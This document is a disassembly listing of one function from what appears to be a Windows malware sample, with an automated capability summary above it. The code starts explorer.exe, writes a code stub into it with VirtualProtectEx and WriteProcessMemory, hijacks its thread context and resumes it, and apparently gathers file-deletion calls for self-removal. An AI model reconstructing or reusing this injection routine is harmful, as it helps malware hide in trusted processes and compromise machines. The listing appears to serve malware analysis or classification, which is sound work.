Function at 0x4012d1
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Set current directory

Disassembly:
mov eax, 0x45e0a2
call fcn.0043bc08
mov eax, 0x11f0
call fcn.0043bfb0
push ebx
push esi
push edi
lea eax, [ebp - 0xe]
mov edi, 0x466594
mov esi, 0x46658c
push 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x3c], esi
call fcn.00401a4d
and dword [ebp - 4], 0
mov ebx, 0x104
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401746
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.00401c5a
mov eax, dword [eax]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0040199b
push 0
lea eax, [ebp - 0xac]
push 0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401773
push 0xc
lea eax, [ebp - 0x5c]
sub esp, 0x28
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.004016d7
call fcn.0042caf6
add esp, 0x2c
test al, al
jne 0x4013ab
cmp byte [ebp + 8], al
je 0x4013a4
push 0xc
lea eax, [ebp - 0xac]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.004016d7
call fcn.0042caf6
add esp, 0x2c
test al, al
jne 0x4013ab
mov bl, 1
jmp 0x401611
lea eax, [ebp - 0xd]
push 0
push eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x64], esi
call fcn.00401a4d
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00401746
mov ecx, dword [eax]
mov byte [ebp - 4], 4
mov byte [eax + 4], 1
call fcn.00401c5a
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.0040199b
cmp dword [ebp - 0x78], 0
je 0x401417
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x401410
mov eax, 0x466588
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
mov esi, str.explorer.exe
pop ecx
lea edi, [ebp - 0x5c4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x5aa]
rep stosd dword es:[edi], eax
push 0x44
xor esi, esi
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xec]
mov dword [ebp - 0xf0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push eax
push esi
push esi
push edx
push esi
push esi
lea eax, [ebp - 0x5c4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40147a
xor bl, bl
jmp 0x401602
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11f8]
mov dword [ebp - 0x11fc], esi
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9e8], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9e4], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9e0], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9d8], al
mov eax, dword [ebp - 0x54]
cmp eax, esi
mov dword [ebp - 0x9f0], edi
jne 0x4014e8
mov eax, 0x466588
push ebx
push eax
lea eax, [ebp - 0x9d7]
push eax
call fcn.0043bf65
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x40151f
mov eax, dword [ebp - 0xa4]
cmp eax, esi
jne 0x40150e
mov eax, 0x466588
push ebx
push eax
lea eax, [ebp - 0x7cf]
push eax
call fcn.0043bf65
add esp, 0xc
push esi
push esi
lea eax, [ebp - 0x9f8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x4016d6
mov eax, 0x40163d
sub ecx, eax
cmp ecx, 0x800
ja 0x401473
push ecx
push eax
lea eax, [ebp - 0x11f8]
push eax
call fcn.0043bc30
add esp, 0xc
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x3bc], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2f8]
mov ebx, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11fc], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2f8], eax
lea eax, [esi + 4]
mov dword [ebp - 0x304], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0x11fc]
push ebx
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x3bc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov bl, 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 2
call fcn.00401257
and byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.00401257
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00401257
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret